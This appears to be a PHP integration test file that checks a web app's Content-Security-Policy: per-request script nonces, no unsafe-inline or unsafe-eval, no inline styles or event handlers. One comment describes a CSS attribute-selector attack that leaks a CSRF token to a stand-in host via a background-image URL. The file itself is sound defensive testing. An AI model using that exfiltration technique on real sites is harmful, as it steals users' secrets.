CspHeaderTest.php 5.5 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162
  1. <?php
  2. declare(strict_types=1);
  3. namespace App\Tests\Integration\App;
  4. use App\Tests\Integration\Support\AppTestCase;
  5. /**
  6. * Regression coverage for SEC_REVIEW F24: every rendered response must
  7. * carry a strict Content-Security-Policy with a per-request nonce, and
  8. * the only inline `<script>` block in the layout (the FOUC handler)
  9. * must be stamped with that same nonce so it can execute under the
  10. * stricter policy. `'unsafe-inline'` and `'unsafe-eval'` must not appear
  11. * anywhere in `script-src`.
  12. */
  13. final class CspHeaderTest extends AppTestCase
  14. {
  15. protected function setUp(): void
  16. {
  17. $this->bootApp();
  18. }
  19. public function testLoginPageCarriesStrictCsp(): void
  20. {
  21. $response = $this->request('GET', '/login');
  22. self::assertSame(200, $response->getStatusCode());
  23. $csp = $response->getHeaderLine('Content-Security-Policy');
  24. self::assertNotSame('', $csp, 'CSP header must be set');
  25. self::assertStringNotContainsString("'unsafe-inline'", self::scriptSrc($csp));
  26. self::assertStringNotContainsString("'unsafe-eval'", self::scriptSrc($csp));
  27. self::assertMatchesRegularExpression(
  28. "/script-src 'self' 'nonce-[A-Za-z0-9_-]+'/",
  29. $csp,
  30. );
  31. }
  32. public function testInlineScriptCarriesMatchingNonce(): void
  33. {
  34. $response = $this->request('GET', '/login');
  35. $body = (string) $response->getBody();
  36. self::assertMatchesRegularExpression(
  37. '/<script nonce="([A-Za-z0-9_-]+)">/',
  38. $body,
  39. 'layout FOUC <script> must be nonced',
  40. );
  41. preg_match('/<script nonce="([A-Za-z0-9_-]+)">/', $body, $m);
  42. $bodyNonce = $m[1];
  43. self::assertStringContainsString(
  44. "'nonce-{$bodyNonce}'",
  45. $response->getHeaderLine('Content-Security-Policy'),
  46. 'response CSP must contain the same nonce as the inline <script>',
  47. );
  48. }
  49. public function testNoncesDifferAcrossRequests(): void
  50. {
  51. $first = $this->request('GET', '/login');
  52. $second = $this->request('GET', '/login');
  53. $firstNonce = self::extractScriptNonce($first->getHeaderLine('Content-Security-Policy'));
  54. $secondNonce = self::extractScriptNonce($second->getHeaderLine('Content-Security-Policy'));
  55. self::assertNotSame('', $firstNonce);
  56. self::assertNotSame('', $secondNonce);
  57. self::assertNotSame($firstNonce, $secondNonce, 'nonce must rotate per response');
  58. }
  59. public function testHealthzAlsoCarriesCsp(): void
  60. {
  61. $response = $this->request('GET', '/healthz');
  62. self::assertSame(200, $response->getStatusCode());
  63. self::assertStringContainsString(
  64. "frame-ancestors 'none'",
  65. $response->getHeaderLine('Content-Security-Policy'),
  66. );
  67. }
  68. public function testStyleSrcDropsUnsafeInline(): void
  69. {
  70. // SEC_REVIEW F62: `style-src 'unsafe-inline'` allowed CSS
  71. // attribute selectors that exfiltrate the CSRF token (or
  72. // any other secret in the DOM) char-by-char via
  73. // `background-image: url(//evil/?p=…)`. The policy now
  74. // enforces `style-src 'self'` only — inline `style="…"`
  75. // attributes have been migrated to data-attribute-driven
  76. // stylesheet rules.
  77. $response = $this->request('GET', '/login');
  78. $csp = $response->getHeaderLine('Content-Security-Policy');
  79. self::assertStringNotContainsString("'unsafe-inline'", self::styleSrc($csp));
  80. self::assertSame("style-src 'self'", self::styleSrc($csp));
  81. }
  82. public function testNoInlineStyleAttributesInLoginTemplate(): void
  83. {
  84. // F62 regression: catch any future template change that
  85. // re-introduces `style="…"` (which would silently break
  86. // because the policy refuses to apply the inline style).
  87. $response = $this->request('GET', '/login');
  88. $body = (string) $response->getBody();
  89. self::assertDoesNotMatchRegularExpression(
  90. '/\sstyle=\s*"/i',
  91. $body,
  92. 'login layout must not carry any inline `style="…"` attributes (F62)',
  93. );
  94. }
  95. private static function styleSrc(string $csp): string
  96. {
  97. foreach (explode(';', $csp) as $part) {
  98. $part = trim($part);
  99. if (str_starts_with($part, 'style-src')) {
  100. return $part;
  101. }
  102. }
  103. return '';
  104. }
  105. public function testNoBareInlineEventHandlersLeftInLoginTemplate(): void
  106. {
  107. $response = $this->request('GET', '/login');
  108. $body = (string) $response->getBody();
  109. // CSP build of Alpine cannot evaluate arbitrary inline expressions;
  110. // the migration replaced object-literal x-data with named components.
  111. self::assertStringNotContainsString('x-data="{', $body, 'no inline x-data object literals');
  112. // Inline DOM event handlers were never used, but assert it.
  113. self::assertDoesNotMatchRegularExpression(
  114. '/\son(click|submit|change|input)\s*=\s*"/i',
  115. $body,
  116. 'no inline DOM event handlers',
  117. );
  118. }
  119. private static function scriptSrc(string $csp): string
  120. {
  121. foreach (explode(';', $csp) as $part) {
  122. $part = trim($part);
  123. if (str_starts_with($part, 'script-src')) {
  124. return $part;
  125. }
  126. }
  127. return '';
  128. }
  129. private static function extractScriptNonce(string $csp): string
  130. {
  131. if (preg_match("/'nonce-([A-Za-z0-9_-]+)'/", self::scriptSrc($csp), $m)) {
  132. return $m[1];
  133. }
  134. return '';
  135. }
  136. }